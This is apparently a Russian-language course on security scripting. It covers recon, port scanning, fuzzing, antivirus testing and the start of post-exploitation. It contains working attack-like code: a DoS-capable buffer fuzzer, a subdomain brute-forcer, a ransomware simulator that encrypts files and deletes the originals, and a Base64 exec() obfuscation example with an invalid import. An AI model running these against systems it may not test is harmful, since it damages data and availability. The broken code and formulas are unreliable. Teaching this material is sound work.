Скриптинг для информационной безопасности и этичного хакинга

Курс посвящен созданию инструментов для автоматизации тестирования на проникновение, сбора информации (OSINT) и имитации кибератак. Студенты изучат основы написания скриптов на Python и Bash для выявления уязвимостей и проверки надежности систем защиты.

Введение в автоматизацию безопасности: правовые аспекты и основы Python для пентестинга

Введение в автоматизацию безопасности: правовые аспекты и основы Python для пентестинга

Добро пожаловать в курс «Скриптинг для информационной безопасности и этичного хакинга». Это первая статья, которая заложит фундамент для всех ваших будущих инструментов. Мы не просто будем учиться программировать; мы будем учиться создавать инструменты, которые используют профессиональные пентестеры (специалисты по тестированию на проникновение) для выявления уязвимостей.

Многие новички ошибочно полагают, что хакинг — это использование готовых утилит вроде Nmap или Metasploit. Однако настоящий профессионализм начинается там, где заканчиваются возможности готовых инструментов. Умение написать собственный скрипт для сканирования, перебора паролей или анализа трафика отличает «скрипт-кидди» от инженера по безопасности.

Правовые границы: где заканчивается исследование и начинается преступление

Прежде чем мы напишем первую строчку кода, необходимо четко обозначить границы. Инструменты, которые мы будем создавать (сканеры, грабберы баннеров, эксплойты), по своей природе двойственны. Они могут использоваться как для защиты, так и для нападения.

Золотое правило этичного хакинга: Любые действия с информационной системой допустимы только при наличии письменного разрешения владельца этой системы.

Основные понятия

В мире информационной безопасности (ИБ) специалистов делят на три категории:

  1. White Hat (Белые шляпы): Исследователи, которые ищут уязвимости с разрешения владельца для их устранения.
  2. Black Hat (Черные шляпы): Злоумышленники, использующие уязвимости для личной выгоды или нанесения ущерба.
  3. Grey Hat (Серые шляпы): Исследователи, которые могут искать уязвимости без спроса, но не используют их во вред, а сообщают владельцам (часто требуя вознаграждение).

Уголовная ответственность

В большинстве стран, включая РФ, существуют строгие законы, регулирующие компьютерную информацию. Вам следует знать о существовании статей, подобных следующим (на примере УК РФ):

  • Неправомерный доступ к компьютерной информации (ст. 272): Наказывает за взлом, копирование или уничтожение информации.
  • Создание, использование и распространение вредоносных компьютерных программ (ст. 273): Именно под эту статью могут попасть ваши скрипты, если они будут классифицированы как «вирусы» и использованы без разрешения.
  • Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации (ст. 274).

Важно: В рамках этого курса мы создаем скрипты для тестирования на безопасность. Мы не пишем вирусы для деструктивных действий. Мы пишем код, который эмулирует поведение угроз, чтобы проверить, сработает ли защита.

Почему Python?

Python стал стандартом де-факто в индустрии ИБ. Этому есть несколько причин:

  • Читаемость: Код на Python понятнее, чем на C++ или Java, что позволяет быстро писать и модифицировать эксплойты «на лету».
  • Библиотеки: Огромное количество готовых модулей для работы с сетью (socket, scapy), веб-запросами (requests) и криптографией.
  • Кроссплатформенность: Скрипт, написанный на Linux (например, Kali Linux), с большой вероятностью запустится и на Windows.

Основы Python для сетевого взаимодействия

Для начала работы нам не нужно знать весь язык. Нам нужно понимать, как взаимодействовать с сетью. Сердцем сетевого программирования в Python является библиотека socket.

Понятие сокета

Сокет — это программный интерфейс для обмена данными между процессами. Представьте, что это «дверь», через которую данные выходят из вашего компьютера в сеть и входят обратно.

Для соединения нам нужны два параметра:

  1. IP-адрес (адрес дома).
  2. Порт (номер квартиры).

Всего существует ограниченное количество портов. Рассчитаем их общее число, зная, что под номер порта в заголовке TCP/UDP отводится 16 бит.

N=216−1N = 2^{16} - 1

Где NN — максимальное количество портов, 22 — основание двоичной системы счисления, 1616 — количество бит, отведенных под адрес порта, а 11 вычитается, так как счет начинается с нуля (хотя порт 0 зарезервирован и обычно не используется для соединений, диапазон значений от 0 до 65535).

Ваш первый скрипт: Сборщик баннеров (Banner Grabber)

Одной из первых задач при пентесте является сбор информации (Information Gathering). Нам нужно узнать, какие сервисы запущены на удаленном сервере. Часто сервисы при подключении сами сообщают о себе, отправляя приветственное сообщение — «баннер».

Давайте напишем скрипт, который подключается к заданному IP и порту и выводит ответ сервера.

Шаг 1: Импорт модуля
import socket
Шаг 2: Создание сокета
# AF_INET означает IPv4
# SOCK_STREAM означает TCP (надежное соединение)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Шаг 3: Установка таймаута

При сканировании сети важно не зависнуть навечно, если сервер не отвечает. Для этого мы используем таймаут.

s.settimeout(2)
Шаг 4: Подключение и получение данных

Здесь мы используем конструкцию try-except. В сетевом программировании ошибки неизбежны (сервер недоступен, порт закрыт, соединение разорвано). Если мы не обработаем ошибку, наш скрипт «упадет».

target_ip = "192.168.1.1" # Пример локального адреса
target_port = 22        # Порт SSH

try:
    # connect принимает кортеж (ip, port)
    s.connect((target_ip, target_port))

    # Получаем до 1024 байт данных
    banner = s.recv(1024)

    # Декодируем байты в строку и выводим
    print(f"[+] Баннер получен: {banner.decode().strip()}")

except Exception as e:
    print(f"[-] Не удалось подключиться: {e}")
finally:
    # Всегда закрываем сокет, чтобы освободить ресурсы
    s.close()

Разбор работы скрипта

  1. Мы создали объект сокета.
  2. Мы попытались установить TCP-соединение с указанным IP и портом.
  3. Если соединение успешно, мы ждем данные (recv).
  4. Полученные данные приходят в виде байтов (b'SSH-2.0...'), поэтому мы используем метод .decode(), чтобы превратить их в читаемый текст.
  5. В блоке finally мы закрываем соединение.

Этот простой скрипт уже является инструментом разведки. Зная версию сервиса (например, OpenSSH 7.2), хакер может искать специфические уязвимости (CVE) для этой версии.

Автоматизация и масштабирование

Ручной запуск такого скрипта для каждого порта неэффективен. Представьте, что вам нужно проверить 1000 портов. Если проверка одного порта занимает 2 секунды, то общее время составит:

Ttotal=N×tT_{total} = N \times t

Где TtotalT_{total} — общее время сканирования, NN — количество портов (1000), а tt — время на один порт (2 секунды). В данном случае это займет более 30 минут. В следующих статьях мы научимся использовать циклы и многопоточность, чтобы сократить это время до секунд.

Заключение

Сегодня мы рассмотрели юридический фундамент вашей будущей профессии и написали первый сетевой скрипт на Python. Мы узнали, что:

  • Хакинг без разрешения — это преступление.
  • Python позволяет легко работать с сетевыми сокетами.
  • Обработка ошибок критически важна для стабильности скриптов.

В следующем уроке мы углубимся в работу с сетью: научимся писать полноценный сканер портов, который сможет сканировать диапазоны адресов, и разберем, как работают различные типы сканирования.

Автоматизация сбора информации (OSINT): написание скриптов для разведки и анализа данных

Автоматизация сбора информации (OSINT): написание скриптов для разведки и анализа данных

В предыдущей статье мы познакомились с основами сетевого взаимодействия через сокеты и написали простейший сборщик баннеров. Теперь мы переходим к одному из самых важных этапов любого тестирования на проникновение — разведке или OSINT (Open Source Intelligence).

Прежде чем искать уязвимости, необходимо понять, из чего состоит целевая инфраструктура. Ручной поиск информации о сотнях поддоменов, IP-адресов и почтовых серверов занимает дни. Скрипты на Python позволяют сократить это время до минут.

Пассивная и активная разведка

В мире информационной безопасности разведку делят на два типа:

  1. Пассивная разведка: Сбор информации без прямого взаимодействия с целевой системой. Вы используете поисковики, базы данных Whois, социальные сети и архивные копии сайтов. Цель не узнает, что вы собираете о ней данные.
  2. Активная разведка: Прямое взаимодействие с серверами цели (сканирование портов, перебор директорий). Это оставляет следы в логах и может быть обнаружено системами защиты (IDS/IPS).

Сегодня мы сосредоточимся на автоматизации обоих подходов: работе с DNS (полупассивная/активная) и анализе веб-заголовков.

Работа с DNS: карта инфраструктуры

Система доменных имен (DNS) — это телефонная книга интернета. Анализ DNS-записей позволяет узнать IP-адреса серверов, почтовые шлюзы и провайдеров услуг.

Для работы с DNS в Python стандартом является библиотека dnspython. Она не входит в стандартную библиотеку, поэтому её нужно установить:

pip install dnspython

Основные типы записей для анализа

  • A: IPv4-адрес домена.
  • AAAA: IPv6-адрес.
  • MX (Mail Exchange): Почтовые серверы. Знание их адресов помогает в фишинговых тестах.
  • NS (Name Server): DNS-серверы, обслуживающие зону.
  • TXT: Текстовые записи, часто содержат информацию о верификации домена (SPF, Google Verification), что раскрывает используемые сервисы.

Скрипт: DNS-резолвер

Напишем скрипт, который автоматически собирает ключевые записи для заданного домена.

import dns.resolver

def get_dns_records(domain):
    record_types = ['A', 'MX', 'NS', 'TXT']
    print(f"[+] Сбор DNS информации для: {domain}")

    for record in record_types:
        try:
            answers = dns.resolver.resolve(domain, record)
            print(f"\n--- Записи {record} ---")
            for rdata in answers:
                print(f" {rdata.to_text()}")
        except dns.resolver.NoAnswer:
            pass # Записей этого типа нет
        except dns.resolver.NXDOMAIN:
            print(f"[-] Домен {domain} не существует.")
            return
        except Exception as e:
            print(f"[-] Ошибка при запросе {record}: {e}")

if __name__ == "__main__":
    target = "google.com" # Замените на цель, которую имеете право сканировать
    get_dns_records(target)

Этот скрипт позволяет мгновенно получить список IP-адресов и провайдеров почты. Если вы видите в MX-записях protection.outlook.com, вы понимаете, что компания использует Office 365, и векторы атак должны быть соответствующими.

HTTP-разведка: анализ заголовков

Веб-серверы часто «болтливы». В HTTP-заголовках они могут передавать версии программного обеспечения, используемые фреймворки (PHP, ASP.NET) и настройки безопасности.

Для веб-запросов мы будем использовать библиотеку requests. Она намного удобнее встроенных модулей.

pip install requests

Скрипт: Анализатор заголовков безопасности

Пентестеры часто проверяют наличие заголовков безопасности (например, X-Frame-Options для защиты от Clickjacking). Давайте автоматизируем эту проверку.

import requests

def analyze_headers(url):
    try:
        # Делаем GET запрос. verify=False позволяет игнорировать ошибки SSL (часто бывает на тестовых стендах)
        response = requests.get(url, timeout=5, verify=False)
        headers = response.headers

        print(f"[+] Анализ заголовков для {url}")

        # Интересующие нас заголовки
        security_headers = [
            'X-Frame-Options',
            'Content-Security-Policy',
            'Strict-Transport-Security',
            'Server',
            'X-Powered-By'
        ]

        for header in security_headers:
            if header in headers:
                print(f" [V] {header}: {headers[header]}")
            else:
                print(f" [X] {header} ОТСУТСТВУЕТ")

    except requests.exceptions.RequestException as e:
        print(f"[-] Ошибка подключения: {e}")

analyze_headers("http://example.com")

Если скрипт покажет Server: Apache/2.4.49, это критическая информация: данная версия может быть уязвима к атаке Path Traversal. Автоматизация позволяет выявлять такие вещи на сотнях хостов одновременно.

Поиск поддоменов (Subdomain Enumeration)

Часто основной сайт компании (например, company.com) хорошо защищен. Однако забытый поддомен dev.company.com или test.company.com может содержать уязвимости, старый код или панели администратора с дефолтными паролями.

Поиск поддоменов методом перебора (brute-force) — это классическая задача для скриптинга. Суть проста: мы берем словарь популярных названий (admin, mail, dev, shop) и подставляем их к основному домену, проверяя, существует ли IP-адрес.

Оценка времени выполнения

Прежде чем запускать перебор, важно оценить время работы скрипта. Если мы делаем запросы последовательно (один за другим), время выполнения рассчитывается по формуле:

Ttotal=N×(treq+tproc)T_{total} = N \times (t_{req} + t_{proc})

где TtotalT_{total} — общее время выполнения скрипта, NN — количество слов в словаре поддоменов, treqt_{req} — время на один сетевой запрос (latency), а tproct_{proc} — время на обработку ответа процессором.

Если у нас словарь на 10 000 слов, а один запрос занимает 0.5 секунды:

Ttotal=10000×0.5=5000 секунд≈1.4 часаT_{total} = 10000 \times 0.5 = 5000 \text{ секунд} \approx 1.4 \text{ часа}

Это слишком долго. В будущих уроках мы применим многопоточность, чтобы уменьшить это время, разделив TtotalT_{total} на количество потоков.

Скрипт: Простой переборщик поддоменов

import requests

def brute_subdomains(domain, wordlist):
    print(f"[+] Начало перебора поддоменов для {domain}")

    # Открываем файл со списком слов
    with open(wordlist, 'r') as file:
        # Читаем файл построчно
        content = file.read()
        subdomains = content.splitlines()

    for sub in subdomains:
        # Формируем URL
        url = f"http://{sub}.{domain}"
        try:
            # Отправляем запрос
            requests.get(url, timeout=2)
            # Если исключение не возникло, значит поддомен жив
            print(f"[+] Найден поддомен: {url}")
        except requests.ConnectionError:
            # Ошибка соединения означает, что поддомен скорее всего недоступен
            pass
        except KeyboardInterrupt:
            print("\n[!] Сканирование прервано пользователем")
            break

# Для запуска нужен файл subdomains.txt с именами (www, mail, ftp...)
# brute_subdomains("google.com", "subdomains.txt")

Важно: Этот скрипт генерирует много трафика. Запуск его против чужой инфраструктуры без разрешения может быть расценен как DDoS-атака или попытка взлома.

Использование API для OSINT

Профессионалы не всегда сканируют цели напрямую. Существуют сервисы, которые уже просканировали весь интернет за вас. Самые известные — Shodan, Censys и VirusTotal.

Использование их API (Application Programming Interface) позволяет получать данные быстро и скрытно. Вы отправляете запрос не на сервер жертвы, а в базу данных Shodan.

Пример логики работы с API (псевдокод):

  1. Получить API Key в личном кабинете сервиса.
  2. Сформировать HTTP-запрос с ключом и IP-адресом цели.
  3. Получить ответ в формате JSON.
  4. Распарсить JSON и извлечь список открытых портов и уязвимостей.

Работа с JSON в Python осуществляется через встроенную библиотеку json:

import json

# Пример строки JSON, которую мог бы вернуть API
api_response = '{"ip": "1.1.1.1", "ports": [80, 443, 53], "org": "Cloudflare"}'

# Преобразование строки в словарь Python
data = json.loads(api_response)

print(f"Организация: {data['org']}")
print(f"Открытые порты: {data['ports']}")

Заключение

Мы создали набор инструментов для начальной фазы пентеста:

  1. DNS-резолвер для понимания структуры сети.
  2. Анализатор заголовков для оценки конфигурации веб-сервера.
  3. Переборщик поддоменов для поиска скрытых ресурсов.

Эти скрипты формируют базу вашего инструментария. Однако, как мы выяснили с помощью формулы времени выполнения, последовательное выполнение кода неэффективно для больших задач. В следующей статье мы решим эту проблему, изучив многопоточность и асинхронность в Python, что позволит ускорить наши сканеры в десятки раз.

Сетевое сканирование и фаззинг: создание собственных инструментов для поиска уязвимостей

Сетевое сканирование и фаззинг: создание собственных инструментов для поиска уязвимостей

Добро пожаловать в третью часть курса «Скриптинг для информационной безопасности и этичного хакинга». В предыдущих статьях мы научились собирать информацию о цели (OSINT) и взаимодействовать с сетью через сокеты. Однако мы столкнулись с серьезной проблемой: последовательное выполнение кода делает сканирование больших диапазонов сети катастрофически медленным.

Сегодня мы превратим наши медленные скрипты в высокоскоростные инструменты. Мы разберем многопоточность в Python, напишем полноценный сканер портов и познакомимся с концепцией фаззинга — методом, который позволяет находить уязвимости нулевого дня (0-day).

Многопоточность: ускоряем Python

Представьте, что вы проверяете двери в огромном отеле, чтобы узнать, какие из них открыты. Если вы один, вам придется подходить к каждой двери по очереди. Это последовательное выполнение. Но если вы наймете 100 помощников, работа пойдет в 100 раз быстрее. В программировании эти «помощники» называются потоками (threads).

I/O Bound задачи

Python часто критикуют за GIL (Global Interpreter Lock), который мешает выполнять вычисления параллельно на нескольких ядрах процессора. Однако для сетевых скриптов это не проблема. Наши задачи относятся к классу I/O Bound (Input/Output Bound) — они зависят от скорости ввода-вывода (сети), а не от процессора.

Пока один поток ждет ответа от сервера (что может длиться секунды), процессор простаивает. В это время Python может переключиться на другой поток и отправить следующий запрос.

Математика ускорения

Теоретическое время выполнения многопоточного сканирования можно выразить формулой:

Tpar≈TseqN+CT_{par} \approx \frac{T_{seq}}{N} + C

Где TparT_{par} — время параллельного выполнения, TseqT_{seq} — время последовательного выполнения, NN — количество потоков, а CC — накладные расходы на создание и переключение потоков (обычно ими можно пренебречь при большом TseqT_{seq}).

Если сканирование 1000 портов занимает 1000 секунд в один поток, то с 100 потоками мы справимся примерно за 10 секунд.

Создание многопоточного сканера портов

Для реализации мы будем использовать модуль threading и, что очень важно, queue (очередь). Очередь позволяет потокам безопасно брать задачи из общего пула, не мешая друг другу.

Архитектура сканера

  1. Генератор задач: Заполняет очередь номерами портов.
  2. Воркеры (Workers): Потоки, которые берут номер порта из очереди, сканируют его и возвращаются за следующим.
  3. Синхронизация: Ожидание завершения всех задач.

Давайте напишем код.

import socket
import threading
from queue import Queue

# Настройки
TARGET = "192.168.1.1" # Замените на IP вашего тестового стенда
THREADS = 50           # Количество потоков

# Создаем очередь
queue = Queue()

# Функция сканирования одного порта
def scan_port(port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((TARGET, port))
        if result == 0:
            # Порт открыт
            try:
                # Пытаемся получить баннер
                banner = sock.recv(1024).decode().strip()
                print(f"[+] Порт {port} ОТКРЫТ: {banner}")
            except:
                print(f"[+] Порт {port} ОТКРЫТ (нет баннера)")
        sock.close()
    except socket.error:
        pass

# Функция для потока (воркера)
def worker():
    while not queue.empty():
        port = queue.get()
        scan_port(port)
        queue.task_done()

# Основной блок запуска
def run_scanner():
    print(f"Запуск сканирования {TARGET} в {THREADS} потоков...")

    # Заполняем очередь портами (от 1 до 1024)
    for port in range(1, 1025):
        queue.put(port)

    # Запускаем потоки
    thread_list = []
    for _ in range(THREADS):
        thread = threading.Thread(target=worker)
        thread_list.append(thread)
        thread.start()

    # Ждем завершения всех потоков
    for thread in thread_list:
        thread.join()

    print("Сканирование завершено.")

if __name__ == "__main__":
    run_scanner()

Этот скрипт работает в десятки раз быстрее предыдущих версий. Мы использовали метод connect_ex, который возвращает 0 при успешном соединении, вместо того чтобы выбрасывать исключение, что удобнее для проверок.

Фаззинг: искусство ломать вещи

После того как мы нашли открытые порты, возникает вопрос: надежны ли сервисы, работающие на них? Здесь на сцену выходит фаззинг (Fuzzing).

Фаззинг — это техника тестирования программного обеспечения, заключающаяся в передаче приложению невалидных, неожиданных или случайных данных с целью вызвать отказ в обслуживании (DoS), падение программы или утечку памяти.

Зачем нужен фаззинг?

Многие критические уязвимости, такие как переполнение буфера (Buffer Overflow), обнаруживаются именно фаззингом. Если программа ожидает имя пользователя длиной 20 символов, а мы отправим 5000 символов, она может перезаписать соседние участки памяти, что приведет к аварийному завершению или даже выполнению вредоносного кода.

Простой сетевой фаззер на Python

Напишем скрипт, который пытается вызвать сбой на удаленном сервисе (например, старом FTP или HTTP сервере), отправляя строки увеличивающейся длины.

Внимание: Запускайте этот скрипт только на системах, которыми владеете. Фаззинг может привести к падению сервиса (DoS).

import socket
import time

def simple_fuzzer(target_ip, target_port):
    # Создаем буфер: строка из букв 'A'
    # Начинаем с 100 байт
    buffer = ["A" * 100]

    # Генерируем массив нагрузок, увеличивая длину
    counter = 100
    while len(buffer) <= 30:
        counter += 200
        buffer.append("A" * counter)

    for string in buffer:
        try:
            print(f"Отправка буфера длиной {len(string)} байт...")

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3)
            s.connect((target_ip, target_port))

            # Отправляем данные. Важно: добавляем перенос строки,
            # так как многие протоколы ждут его как признак конца команды
            s.send((string + "\r\n").encode())

            # Ждем ответа (если сервер упал, recv выбросит ошибку или таймаут)
            s.recv(1024)
            s.close()

        except Exception as e:
            print(f"[!] Не удалось подключиться или получить ответ при длине {len(string)}")
            print(f"[!] Возможно, сервис упал! Ошибка: {e}")
            break

        # Небольшая пауза, чтобы не заспамить сеть
        time.sleep(0.5)

if __name__ == "__main__":
    # Пример: фаззинг локального сервиса
    simple_fuzzer("192.168.1.105", 9999)

Анализ результата

Если скрипт успешно отправлял данные до 2000 байт, а на 2200 байтах выдал сообщение [!] Возможно, сервис упал!, это сигнал для исследователя. Это означает, что приложение не справилось с обработкой длинной строки. Следующим шагом (который выходит за рамки этой статьи) был бы анализ дампа памяти для создания эксплойта.

Продвинутые инструменты: Scapy

Хотя библиотека socket отлично подходит для создания соединений, она ограничена правилами операционной системы (полный TCP handshake). Для более сложных задач, таких как SYN-сканирование (стелс-сканирование) или создание кастомных пакетов, профессионалы используют библиотеку Scapy.

Мы детально разберем Scapy в следующих модулях, но знайте: если вам нужно манипулировать отдельными битами в заголовке IP-пакета, стандартных сокетов будет недостаточно.

Заключение

Сегодня мы сделали огромный шаг вперед:

  1. Разобрались с многопоточностью, превратив наши скрипты из учебных в рабочие инструменты.
  2. Написали сканер портов, способный проверить тысячи адресов за минуты.
  3. Познакомились с фаззингом — методом грубой силы для поиска ошибок в коде.

Ваше домашнее задание — модифицировать сканер портов так, чтобы результаты сохранялись в файл, и попробовать просканировать свою домашнюю сеть (роутер, телефон, компьютер). Вы удивитесь, сколько открытых портов можно найти на обычных устройствах.

В следующей статье мы перейдем к прикладному уровню и займемся автоматизацией веб-атак: будем писать скрипты для перебора паролей (Brute-force) веб-форм и поиска скрытых директорий.

Разработка учебных эксплойтов и имитация вредоносного ПО для тестирования антивирусных решений

Разработка учебных эксплойтов и имитация вредоносного ПО для тестирования антивирусных решений

Добро пожаловать в четвертую часть курса «Скриптинг для информационной безопасности и этичного хакинга». В предыдущих статьях мы научились сканировать сети, находить открытые порты и даже вызывать сбои в работе сервисов с помощью фаззинга. Но что происходит после того, как уязвимость найдена? И как проверить, способна ли система защиты обнаружить атаку?

Сегодня мы переходим на «темную сторону» (в учебных целях, разумеется). Мы разберем, как работают эксплойты, напишем безопасный имитатор программы-вымогателя (Ransomware) и узнаем, как антивирусы отличают легитимный код от вредоносного.

Важное предупреждение: Все скрипты в этой статье предназначены только для запуска в изолированной виртуальной среде. Никогда не запускайте их на рабочем компьютере или в корпоративной сети без письменного разрешения.

Анатомия эксплойта: от сбоя к контролю

В прошлой статье мы использовали фаззинг, чтобы вызвать переполнение буфера и «уронить» приложение. Сбой происходит потому, что данные, которые мы отправили, перезаписали память, отведенную под другие цели.

Чтобы превратить сбой в эксплойт (инструмент эксплуатации), хакеру нужно не просто перезаписать память мусором, а поместить туда специальный код и заставить процессор его выполнить.

Переполнение буфера (Buffer Overflow)

Представьте память программы как стопку тарелок (стек). Когда функция вызывает другую функцию, она кладет сверху «тарелку» с адресом возврата — точкой, куда нужно вернуться после завершения работы. Если мы нальем в тарелку слишком много «супа» (данных), он перельется через край и запачкает нижнюю тарелку (адрес возврата).

В упрощенном виде адрес, по которому процессор продолжит выполнение команд, можно рассчитать так:

Atarget=Abuffer+OA_{target} = A_{buffer} + O

Где AtargetA_{target} — целевой адрес памяти, где лежит наш вредоносный код, AbufferA_{buffer} — начальный адрес переполняемого буфера, а OO — смещение (offset), необходимое для достижения адреса возврата.

Написание полноценного бинарного эксплойта требует глубоких знаний Ассемблера и архитектуры процессора, что выходит за рамки Python-курса. Однако Python идеально подходит для доставки полезной нагрузки (payload) и создания имитаторов вредоносного ПО.

Тестирование антивирусов: файл EICAR

Как проверить, работает ли ваш антивирус, не заражая компьютер реальным вирусом? Индустрия безопасности договорилась использовать стандартный тестовый файл — EICAR.

Это обычный текстовый файл, который содержит специфическую строку. Антивирусы обязаны реагировать на него как на угрозу, хотя он абсолютно безопасен.

Давайте напишем скрипт на Python, который генерирует такой файл. Это простейший тест на то, как ваша система реагирует на создание подозрительных файлов.

import os

def create_eicar_test():
    # Стандартная строка EICAR
    eicar_string = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
    filename = "eicar_test.com"

    try:
        with open(filename, "w") as f:
            f.write(eicar_string)
        print(f"[+] Файл {filename} создан. Проверьте реакцию антивируса.")
    except Exception as e:
        print(f"[-] Ошибка при создании файла: {e}")
        print("Возможно, антивирус заблокировал запись на лету!")

if __name__ == "__main__":
    create_eicar_test()

Если у вас включен Windows Defender или другой антивирус, скорее всего, файл исчезнет сразу после создания, а вы получите уведомление об угрозе.

Имитация Ransomware (Программы-вымогателя)

Самая распространенная угроза сегодня — шифровальщики. Они находят важные файлы, шифруют их и требуют выкуп. Чтобы протестировать системы поведенческого анализа (Behavioral Analysis), мы создадим безопасный симулятор.

Алгоритм нашего симулятора:

  1. Найти все файлы в папке test_folder.
  2. Прочитать содержимое.
  3. «Зашифровать» данные (используем обратимое преобразование).
  4. Перезаписать файл и добавить расширение .locked.

Для безопасности мы не будем использовать криптостойкие алгоритмы (как AES). Мы используем простейший XOR. Это позволит вам легко восстановить файлы, если что-то пойдет не так, но для антивируса действие будет выглядеть как массовое изменение файлов.

Скрипт: Учебный криптор

import os

# Ключ для XOR шифрования (один байт)
KEY = 0x42

def xor_encrypt_decrypt(data):
    # Применяем XOR к каждому байту данных
    return bytearray([b ^ KEY for b in data])

def simulate_ransomware(target_directory):
    print(f"[*] Запуск симуляции шифровальщика в: {target_directory}")

    # os.walk позволяет рекурсивно пройти по всем папкам
    for root, dirs, files in os.walk(target_directory):
        for file in files:
            # Не трогаем уже зашифрованные файлы и сам скрипт
            if file.endswith(".locked") or file == os.path.basename(__file__):
                continue

            file_path = os.path.join(root, file)

            try:
                # Читаем исходный файл
                with open(file_path, "rb") as f:
                    original_data = f.read()

                # Шифруем данные
                encrypted_data = xor_encrypt_decrypt(original_data)

                # Записываем зашифрованные данные
                new_file_path = file_path + ".locked"
                with open(new_file_path, "wb") as f:
                    f.write(encrypted_data)

                # Удаляем оригинал (имитация поведения вымогателя)
                os.remove(file_path)
                print(f"[+] Зашифрован: {file_path}")

            except Exception as e:
                print(f"[-] Не удалось обработать {file_path}: {e}")

if __name__ == "__main__":
    # СОЗДАЙТЕ ЭТУ ПАПКУ ПЕРЕД ЗАПУСКОМ И ПОЛОЖИТЕ ТУДА ТЕСТОВЫЕ ФАЙЛЫ
    target = "./test_folder"

    if os.path.exists(target):
        simulate_ransomware(target)
        print("[*] Симуляция завершена. Запустите скрипт снова для расшифровки (нужна доработка логики).")
    else:
        print(f"[!] Папка {target} не найдена. Создайте её для безопасности!")

Этот скрипт демонстрирует паттерн поведения: быстрое открытие, чтение, запись и удаление множества файлов. Современные EDR (Endpoint Detection and Response) системы должны блокировать такой процесс, даже если они не знают сигнатуру скрипта.

Как антивирусы ловят хакеров: Энтропия и обфускация

Почему антивирусы иногда пропускают вирусы, а иногда блокируют безопасные программы? Все дело в методах обнаружения.

  1. Сигнатурный анализ: Антивирус берет хеш (MD5/SHA256) файла и ищет его в базе известных вирусов. Если вы измените хоть один байт в своем скрипте, хеш изменится, и сигнатурный анализ не сработает.
  2. Эвристический анализ: Поиск подозрительных признаков. Одним из главных признаков является энтропия.

Математика хаоса: Энтропия Шеннона

Авторы вредоносного ПО часто «упаковывают» или шифруют свои программы, чтобы скрыть код от аналитиков. Зашифрованные данные выглядят как случайный шум. Мерой этой случайности является энтропия.

Формула энтропии Шеннона выглядит так:

H(X)=−sumi=1nP(xi)log⁡2P(xi) H(X) = - sum_{i=1}^{n} P(x_i) \log_2 P(x_i)

Где H(X)H(X) — значение энтропии (меры неопределенности), nn — количество уникальных символов (байт) в файле, P(xi)P(x_i) — вероятность появления ii-го символа (частота встречаемости), а log⁡2\log_2 — логарифм по основанию 2.

Как это работает на практике:

  • У обычного текстового файла (код на Python, статья) энтропия низкая (около 3.5–4.5), так как буквы повторяются часто и предсказуемо.
  • У зашифрованного или сжатого файла энтропия высокая (близка к 8.0), так как все байты распределены равномерно.

Если антивирус видит исполняемый файл (.exe) с энтропией 7.9, он помечает его как «подозрительный/упакованный» (Suspicious/Packed), даже не зная, что внутри.

Скрипт: Анализатор энтропии

Давайте напишем инструмент, который поможет нам понять, насколько «подозрительным» выглядит файл для антивируса.

import math
import sys

def calculate_entropy(file_path):
    with open(file_path, "rb") as f:
        data = f.read()

    if not data:
        return 0

    # Подсчет частоты каждого байта (0-255)
    frequency = [0] * 256
    for byte in data:
        frequency[byte] += 1

    file_len = len(data)
    entropy = 0

    for count in frequency:
        if count > 0:
            # Вероятность появления байта
            p_x = count / file_len
            # Формула Шеннона
            entropy -= p_x * math.log2(p_x)

    return entropy

if __name__ == "__main__":
    # Можно проверить сам скрипт или любой другой файл
    target_file = sys.argv[0]
    h = calculate_entropy(target_file)
    print(f"Файл: {target_file}")
    print(f"Энтропия: {h:.4f}")

    if h > 7.0:
        print("[!] Высокая энтропия! Файл выглядит как упакованный или зашифрованный.")
    else:
        print("[OK] Нормальная энтропия для обычного кода.")

Обход защиты: Дропперы и Обфускация

Чтобы доставить полезную нагрузку (payload) на компьютер жертвы, минуя фильтры почты и антивирусы, хакеры используют дропперы (droppers). Это маленькие программы, которые не содержат вредоносного кода в открытом виде.

Простейший способ скрыть код — закодировать его в Base64. Это не шифрование, но это убирает явные сигнатуры (например, строки import os или socket).

Пример концепции (не для запуска, а для понимания):

import base64
import exec

# Закодированная команда: print("Hello from hidden code!")
payload = b'cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGNvZGUhIik='

# Декодирование и выполнение в памяти
exec(base64.b64decode(payload))

Антивирусы научились декодировать Base64 на лету, поэтому современные методы обфускации намного сложнее: они разбивают код на части, добавляют мусорные инструкции и используют динамическую генерацию кода.

Заключение

В этой статье мы коснулись одной из самых сложных тем в информационной безопасности — взаимодействия атакующего кода и систем защиты. Мы узнали:

  1. Как теоретически работают эксплойты (переполнение буфера).
  2. Как безопасно тестировать антивирусы с помощью файла EICAR.
  3. Как написать симулятор Ransomware на Python для проверки поведенческого анализа.
  4. Что такое энтропия Шеннона и как математика помогает находить вирусы.

Теперь у вас есть инструменты не только для атаки, но и для проверки надежности защиты. В следующей статье мы вернемся к сетевым атакам и займемся прикладным взломом: будем писать скрипты для брутфорса (подбора паролей) к веб-формам и SSH, а также научимся использовать словари.

Пост-эксплуатация и автоматизация отчетности: скрипты для аудита системы после проникновения

Пост-эксплуатация и автоматизация отчетности: скрипты для аудита системы после проникновения

Добро пожаловать в заключительную часть курса «Скриптинг для информационной безопасности и этичного хакинга». Мы прошли долгий путь: от изучения юридических основ и написания первых сканеров до создания фаззеров и обхода антивирусов.

Представьте ситуацию: ваш учебный эксплойт сработал, или вы успешно подобрали пароль к SSH. Вы внутри системы. Что дальше? Новички часто теряются на этом этапе, бесцельно блуждая по директориям. Профессионалы же переходят к четко отработанной фазе — пост-эксплуатации.

В этой статье мы научимся писать скрипты, которые за секунды собирают всю важную информацию о захваченной системе, ищут пути для повышения привилегий и, что самое главное для «белого» хакера, автоматически генерируют отчет о найденных проблемах.

Что такое пост-эксплуатация?

Пост-эксплуатация — это этап тестирования на проникновение, который начинается после получения первоначального доступа к системе.

Для этичного хакера цели этого этапа таковы:

  1. Оценка масштаба компрометации: Что именно мы взломали? Это компьютер секретаря или контроллер домена?
  2. Поиск путей повышения привилегий: Можем ли мы стать администратором (root)?
  3. Сбор доказательств (Looting): Поиск конфиденциальных данных (ключи, пароли, базы данных) для демонстрации рисков заказчику.
  4. Генерация отчета: Документирование всех находок.

